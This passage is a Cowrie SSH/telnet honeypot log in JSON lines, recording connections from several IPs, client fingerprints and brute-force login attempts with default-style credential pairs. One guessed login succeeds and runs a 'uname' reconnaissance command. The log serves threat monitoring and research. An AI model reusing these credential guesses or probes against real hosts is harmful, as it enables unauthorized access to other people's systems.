{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50360,"dst_ip":"159.203.135.109","dst_port":22,"session":"498f5cfd7648","protocol":"ssh","message":"New connection: 45.156.87.204:50360 (159.203.135.109:22) [session: 498f5cfd7648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:31.565313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:31.571395Z","src_ip":"45.156.87.204","session":"498f5cfd7648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:31.648549Z","src_ip":"45.156.87.204","session":"498f5cfd7648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:31.972248Z","src_ip":"45.156.87.204","session":"498f5cfd7648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35240,"dst_ip":"10.17.0.5","dst_port":23,"session":"42600c82c5d7","protocol":"telnet","message":"New connection: 152.42.224.71:35240 (10.17.0.5:23) [session: 42600c82c5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:32.106525Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:33.124649Z","src_ip":"45.156.87.204","session":"498f5cfd7648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39574,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b55f684ed7b","protocol":"ssh","message":"New connection: 45.156.87.204:39574 (159.203.135.109:22) [session: 2b55f684ed7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:35.090043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:35.095537Z","src_ip":"45.156.87.204","session":"2b55f684ed7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:35.177622Z","src_ip":"45.156.87.204","session":"2b55f684ed7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.07884931564331,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:35.392588Z","src_ip":"152.42.224.71","session":"439126eb1b21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:35.658722Z","src_ip":"45.156.87.204","session":"2b55f684ed7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":51762,"dst_ip":"159.203.135.109","dst_port":22,"session":"2960f14f59a7","protocol":"ssh","message":"New connection: 170.106.151.211:51762 (159.203.135.109:22) [session: 2960f14f59a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:36.451051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:36.455235Z","src_ip":"170.106.151.211","session":"2960f14f59a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:36.523241Z","src_ip":"170.106.151.211","session":"2960f14f59a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:36.742760Z","src_ip":"45.156.87.204","session":"2b55f684ed7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a@123456","message":"login attempt [root/a@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:36.827180Z","src_ip":"170.106.151.211","session":"2960f14f59a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:37.899276Z","src_ip":"170.106.151.211","session":"2960f14f59a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39590,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a424fc2b8bc","protocol":"ssh","message":"New connection: 45.156.87.204:39590 (159.203.135.109:22) [session: 3a424fc2b8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:38.861340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:38.866949Z","src_ip":"45.156.87.204","session":"3a424fc2b8bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:38.958827Z","src_ip":"45.156.87.204","session":"3a424fc2b8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:39.203332Z","src_ip":"45.156.87.204","session":"3a424fc2b8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:40.289095Z","src_ip":"45.156.87.204","session":"3a424fc2b8bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":38944,"dst_ip":"159.203.135.109","dst_port":22,"session":"a65005a36f60","protocol":"ssh","message":"New connection: 119.28.114.76:38944 (159.203.135.109:22) [session: a65005a36f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.069601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.074138Z","src_ip":"119.28.114.76","session":"a65005a36f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.310481Z","src_ip":"119.28.114.76","session":"a65005a36f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39592,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7868d2f214a","protocol":"ssh","message":"New connection: 45.156.87.204:39592 (159.203.135.109:22) [session: a7868d2f214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.370371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.374846Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.457724Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:42.710071Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:43.163812Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:43.167070Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:43.254868Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:43.259795Z","src_ip":"45.156.87.204","session":"a7868d2f214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tommy","password":"tommy","message":"login attempt [tommy/tommy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:43.287619Z","src_ip":"119.28.114.76","session":"a65005a36f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3b032df4f1","protocol":"telnet","message":"New connection: 152.42.224.71:39908 (10.17.0.5:23) [session: 8b3b032df4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:44.105428Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d543057eb26","protocol":"telnet","message":"New connection: 152.42.224.71:39916 (10.17.0.5:23) [session: 3d543057eb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:44.133488Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:44.526848Z","src_ip":"119.28.114.76","session":"a65005a36f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51442,"dst_ip":"159.203.135.109","dst_port":22,"session":"deef89374729","protocol":"ssh","message":"New connection: 45.156.87.204:51442 (159.203.135.109:22) [session: deef89374729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:46.229700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:46.234145Z","src_ip":"45.156.87.204","session":"deef89374729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:46.377735Z","src_ip":"45.156.87.204","session":"deef89374729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:46.626384Z","src_ip":"45.156.87.204","session":"deef89374729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:47.711761Z","src_ip":"45.156.87.204","session":"deef89374729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51452,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b0b35dd326","protocol":"ssh","message":"New connection: 45.156.87.204:51452 (159.203.135.109:22) [session: b9b0b35dd326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:49.676166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:49.680913Z","src_ip":"45.156.87.204","session":"b9b0b35dd326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 